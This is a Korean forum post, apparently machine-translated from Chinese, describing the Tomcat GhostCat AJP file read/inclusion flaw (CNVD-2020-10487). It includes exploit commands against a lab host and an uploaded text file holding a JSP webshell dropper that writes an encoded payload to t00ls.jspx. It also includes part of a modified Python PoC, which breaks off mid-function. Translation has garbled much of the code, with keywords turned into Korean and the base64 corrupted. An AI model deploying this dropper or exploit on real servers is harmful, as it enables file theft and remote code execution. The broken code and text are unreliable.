KoreanHackerTeam
Moderator
一、漏洞描述
Apache Tomcat은 Apache Software Foundation의 Jakarta 프로젝트에서 개발 한 서블릿 컨테이너입니다. 기본적으로 Apache Tomcat을 사용하면 AJP 커넥터가 AJP 프로토콜을 통해 다른 웹 서버와의 상호 작용을 용이하게 할 수 있습니다. 그러나 Apache Tomcat의 AJP 프로토콜 구현에는 취약점이있어 공격자가 악의적 인 AJP 요청을 보내서 웹 응용 프로그램의 루트 디렉토리에 파일을 읽거나 포함시킬 수 있습니다. 모든 형식 파일이 파일과 함께 업로드되면 임의의 코드 실행 (RCE)으로 이어질 수 있습니다. 이 취약점은 AJP 서비스 포트를 사용하여 공격을 구현합니다. AJP 서비스가 활성화되지 않은 경우 AJP 서비스는 취약점의 영향을받지 않습니다 (Tomcat은 기본적으로 AJP 서비스가 0.0.0.0/0으로 가능함).二、危险等级
높은 위험三、漏洞危害
공격자는 모든 Tomcat Webapp 디렉토리에서 모든 파일을 읽을 수 있습니다. 또한 웹 사이트 애플리케이션이 파일 업로드 기능을 제공하는 경우 공격자는 먼저 악의적 인 JSP 스크립트 코드가 포함 된 파일을 서버에 업로드 할 수 있습니다 (업로드 된 파일 자체는 사진, 일반 텍스트 파일 등과 같은 모든 유형의 파일이 될 수 있습니다. 그런 다음 GhostCat 취약점을 사용하여 파일을 포함시킬 수 있습니다.四、影响范围
Apache Tomcat 9.x 9.0.31Apache Tomcat 8.x 8.5.51
Apache Tomcat 7.x 7.0.100
Apache Tomcat 6.x
五、前提条件
Tomcat의 경우 취약성 영향 버전의 범위 내에있는 Tomcat의 경우 AJP 커넥터가 가능하고 공격자가 AJP 커넥터 서비스 포트에 액세스 할 수 있다면 GhostCat 취약성에 의해 악용 될 위험이 있습니다. 참고 Tomcat AJP 커넥터는 기본 구성에서 활성화되어 있으며 청취는 0.0.0.0:8009입니다.六、漏洞原理
Tomcat에는 두 개의 커넥터, 즉 HTTP 및 AJP : 기본 HTTP 포트는 8080이며 HTTP 요청을 처리하는 반면 AJP 기본 포트 8009는 AJP 프로토콜의 요청을 처리하는 데 사용됩니다. AJP는 HTTP보다 최적화되어 있으며 주로 역방향, 클러스터링 등에 사용됩니다. 취약점은 Tomcat AJP 프로토콜의 결함으로 인해 발생합니다. 공격자는이 취약점을 사용하여 특정 매개 변수를 구성하여 Server WebApp의 모든 파일을 읽을 수 있으며 파일을 포함 할 수 있습니다. 특정 업로드 포인트, 그림 말 등 업로드 등이 있으면 쉘을 얻을 수 있습니다.七、漏洞分析
1.漏洞成因分析:Tomcat에는 기본 conf/server.xml에 구성된 두 개의 커넥터가 있으며, 하나는 8080에서 제공하는 HTTP 프로토콜 포트이고, 다른 하나는 기본 8009 AJP 프로토콜 포트입니다. 두 포트 모두 기본적으로 외부 네트워크 IP에서 청취됩니다.아래 그림과 같이 :

Tomcat은 AJP 요청을 수신 할 때 org.apache.coyote.ajp.ajpprocessor를 호출합니다. PrepareRequest는 AJP의 내용을 제거하여 요청 객체의 속성 속성으로 설정합니다.
아래 그림과 같이 :

따라서이 기능은 요청 객체의 다음 세 가지 속성 속성을 제어하는 데 사용할 수 있습니다.
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
그런 다음 해당 요청으로 캡슐화 한 후 : 아래 그림과 같이 서틀 매핑 프로세스를 계속 따르십시오.

특정 매핑 방법은 간단하며 코드를 직접 볼 수 있습니다.
2.利用方式:(1) defaultservlet을 사용하여 파일 다운로드를 실현하십시오
URL 요청이 매핑 된 URL 목록에 있지 않은 경우 Tomcat의 기본 기본 기본 설정은 아래 그림과 같이 위의 세 가지 속성에 따라 읽습니다.

Serveresource 메소드를 통해 리소스 파일을 가져옵니다

GetRelativePath를 통해 리소스 파일 경로를 가져옵니다

그런 다음 AJP에 의해 제어되는 위의 세 가지 속성을 제어하여 파일을 읽습니다. 위의 세 가지 속성을 조작함으로써 /web-inf 아래의 모든 민감한 파일을 클래스, XML, JAR 및 기타 파일에 국한하지 않고 읽을 수 있습니다.
(2) jspservlet을 통해 접미사 파일 포함을 구현하십시오
URL (예 : http://xxx/xxx/xxx.jsp)이 org.apache.jasper.servlet.jspservlet servlet에 맵핑되도록 요청하면 액세스 된 JSP 파일은 그림 :과 같이 위의 세 가지 속성을 통해 제어 할 수 있습니다.

경로를 제어 한 후 파일을 JSP로 구문 분석 할 수 있으므로 RCE를 구현하려면 제어 가능한 파일 컨텐츠가있는 파일 만 필요합니다.
八、漏洞复现
1.环境的准备(1). 취약성에 대한 준비 Windows에서 환경 재생 환경, 여기에서 Tomcat-8.5.32가 예로 사용됩니다.(2) JDK를 설치하고 JDK 환경을 구성하십시오
(3) 그런 다음 Tomcat을 시작하고 Tomcat 디렉토리/빈 폴더에서 startup.bat을 클릭하십시오.

2.漏洞复现利用(1), 모든 파일을 읽으십시오 (여기에서 Webapps 디렉토리의 파일을 읽을 수 있음)
root@kali2019: ~# git 클론 https://github.com/ydhcui/cnvd-2020-10487-tomcat-ajp-lfi
root@kali2019: ~# CD CNVD-2020-10487-TOMCAT-AJP-LFI/
root@kali2019: ~/cnvd-2020-10487-tomcat-ajp-lfi# chmod +x cnvd-2020-10487-tomcat-ajp-lfi.py
root@kali2019: ~/cnvd-2020-10487-tomcat-ajp-lfi# python cnvd-2020-10487-tomcat-ajp-lfi.py 192.168.1.9 -p 8009 -f web-inf/web.xml



다음은 Test.txt 파일을 루트 디렉토리에 업로드하는 것입니다 (여기에서 취약성 데모를 위해 파일을이 디렉토리에 직접 업로드합니다. 실제 환경에서는 파일 업로드를 통해 파일을 취약점에 업로드하고 TXT 파일을 업로드하고 취약성을 악용 할 수 있습니다).

test.txt 파일 컨텐츠 :
JSP:ROOT XMLNS:JSP='http://java.sun.com/jsp/page'xmlns=...s:c='http://java.sun.com/jsp/jsp/jsp/core'2.0.
jsp:directive.page contenttype='text/html'pageencoding='utf-8'/
jsp:dipective.page import='java.io.*'/
jsp:dipective.page import='sun.misc.base64decoder'/
htmlheadtitlefuck/title/head
바디 bgcolor='#ffffff'
//MIMA

jsp:scriptlet! [cdata [
문자열 realPath=request.getRealPath (request.getRequestUri ());
문자열 dir=새 파일 (realPath) .getParent ();
문자열 stratp=dir+'/t00ls.jspx';
파일 strfile=새 파일 (strath);
부울 filecreated=strfile.createnewfile ();
Writer JSPX=New BufferedWriter (New Filewriter (strfile));
문자열 TMP='pgpzcdpyb290ihhtbg5zompzcd0iahr0cdovl2phdmeuc3vulmnvbs9ku1avugfnzsigdmvyc2lvbj0ims4yij48annwomrpcmvjdgl2zs5wywdligltcg9ydddddddddd. mf2ys51dglsliosamf2yxguy3j5chrvliosamf2yxguy3j5chrvlnwzwzwzwzwzwzwzwzwzwzwzwzwzwzxqpjxqc3a6zgvjbggfyyxrpb24+igryxnzifugzxh0zw5kcybdbgfzc0xvy ensyxnztg9hzgvyigmpe3n1cgvykgmpo31wdwjsawmgq2xhc3mgzyhiexriftdyil7cmv0dxjuihn1cgvylmrlzmluzunsyxnzkgismcxilmxlbmd0ack7fx08l2pz cDpkZWNsYXJhdGlvbj48anNwOnNjcmmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVV suqokskucmvwbgfjzsgilsiiiplnn1ynn0cmluzygxnik7c2vzc2lvbi5wdxrwywx1zsgidsisayk7b3v0lnbyaw50kgspo3jldhvybjt9q2lwagvyigm9q2lwagv ylmdldeluc3rhbmnlkcjbrvmikttjlmluaxqomixuzxcgu2vjcmv0s2v5u3blyygoc2vzc2lvbi5nzxrwywx1zsgidsipjtjiiiplmdldej5dgvzkcksfffffkttt uzxcgvsh0aglzlmdldldensyxnzkckckuz2v0q2xhc3nmb2fkzxiokskuzyhjlmrvrmluywwobmv3ihn1bi5taxnjlkjbu0u2nerly29kzxioks5kzwnvzggmzxdwdxdwdxdwdxtwdxgiocm vxdwvzdc5nzxrszwfkzxioks5yzwfktgluzsgpkskplm5ld0luc3rhbmnlkckuzxf1ywxzkhbhz2vdb250zxh0kts8l2pzcdpzy3jpchrszxq+pc9qc3a6c3c3c3c3c3c3c3c3c3c3c3a6cmc3c3
String str=new String ((새 base64decoder ()). decodebuffer (tmp));
String estr=java.net.urldecoder.decode (str);
jspx.write (ESTR);
jspx.flush ();
jspx.close ();
out.println (strath);
]]/jsp:scriptlet
/몸
/html
/jsp:Root
(2) 테스트는 test.txt에 직접 액세스 할 수 있습니다
(3) POC를 수정해야하며 '/asdf'는 '/asdf.jspx'에 포함됩니다.
수정 된 코드는 다음과 같습니다.
#!/usr/bin/env python
#CNVD-2020-10487 TOMCAT-AJP LFI
#by ydhcui
수입 구조
# 일부 참조 :
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string (s) :
S가 없으면 :입니다
return struct.pack ( 'h', -1)
L=LEN (S)
return struct.pack ( 'h % dsb' % l, l, s.encode ( 'utf8'), 0)
def unpack (스트림, FMT) :
크기=struct.calcsize (fmt)
buf=stream.read (크기)
return struct.unpack (fmt, buf)
def unpack_string (스트림) :
크기,=포장 풀기 (스트림, 'h')
크기가==-1: # null 문자열입니다
반환 없음
res,=포장 풀 (스트림, ' % ds' % 크기)
stream.read (1) # \ 0
반환 해상도
클래스 NOTFoundException (예외) :
통과하다
클래스 AJPBodyRequest (객체) :
# server==웹 서버, 컨테이너==서블릿
server_to_container, container_to_server=범위 (2)
max_request_length=8186
def __init __ (self, data_stream, data_len, data_direction=none) :
self.data_stream=data_stream
self.data_len=data_len
self.data_direction=data_direction
def serialize (self) :
data=self.data_stream.read (ajpbodyrequest.max_request_length)
LEN (데이터)==0: 인 경우
return struct.pack ( 'bbh',0x12,0x34,0x00)
else:
res=struct.pack ( 'H', Len (데이터))
res +=데이터
if self.data_direction==ajpbodyRequest.server_to_container:
헤더=struct.pack ( 'bbh',0x12,0x34, len (res))
else:
헤더=struct.pack ( 'bbh',0x41,0x42, len (res))
반환 헤더 + res
def send_and_receive (자체, 소켓, 스트림) :
True:
data=self.serialize ()
socket.send (데이터)
r=ajpresponse.receive (stream)
r.prefix_code!=ajpresponse.get_body_chunk 및 r.prefix_code!=ajpresponse.send_headers:
r=ajpresponse.receive (stream)
r.prefix_code==ajpresponse.send_headers 또는 len (data)==4: 인 경우
부서지다
클래스 ajpforwardRequest (객체) :
_, 옵션, get, head, post, put, delete, trace, propfind, proppatch, mkcol, copy, move, move, move, lock, lock, acl, version, version_control, checkin, checkout, uncheckout, search, mkworkspace, 업데이트, merge, merge, merge, merge, merge, merge, merge, merge, range (28)
request_methods={ 'get': get,'post': post, 'head': head,'옵션 ': 옵션, 'put': put,'delete': delete, 'trace': trace}
# server==웹 서버, 컨테이너==서블릿
server_to_container, container_to_server=범위 (2)
common_headers=[ 'sc_req_accept',
'sc_req_accept_charset', 'sc_req_accept_encoding', 'sc_req_accept_language', 'sc_req_authorization',
'sc_req_connection', 'sc_req_content_type', 'sc_req_content_length', 'sc_req_cookie', 'sc_req_cookie2',
'sc_req_host', 'sc_req_pragma', 'sc_req_referer', 'sc_req_user_agent'
]]
속성=[ 'context', 'servlet_path', 'remote_user', 'auth_type', 'query_string', 'route', 'ssl_cert', 'ssl_cipher', 'ssl_session', 'req_attribute', 'ssl_key_size', 'secret', 'sported']
def __init __ (self, data_direction=none) :
self.prefix_code=0x02
self.method=없음
self.protocol=없음
self.req_uri=없음
self.remote_addr=없음
self.remote_host=없음
self.server_name=없음
self.server_port=없음
self.is_ssl=없음
self.num_headers=없음
self.request_headers=없음
self.attributes=없음
self.data_direction=data_direction
def pack_headers (self) :
self.num_headers=len (self.request_headers)
res=''
res=struct.pack ( 'h', self.num_headers)
H.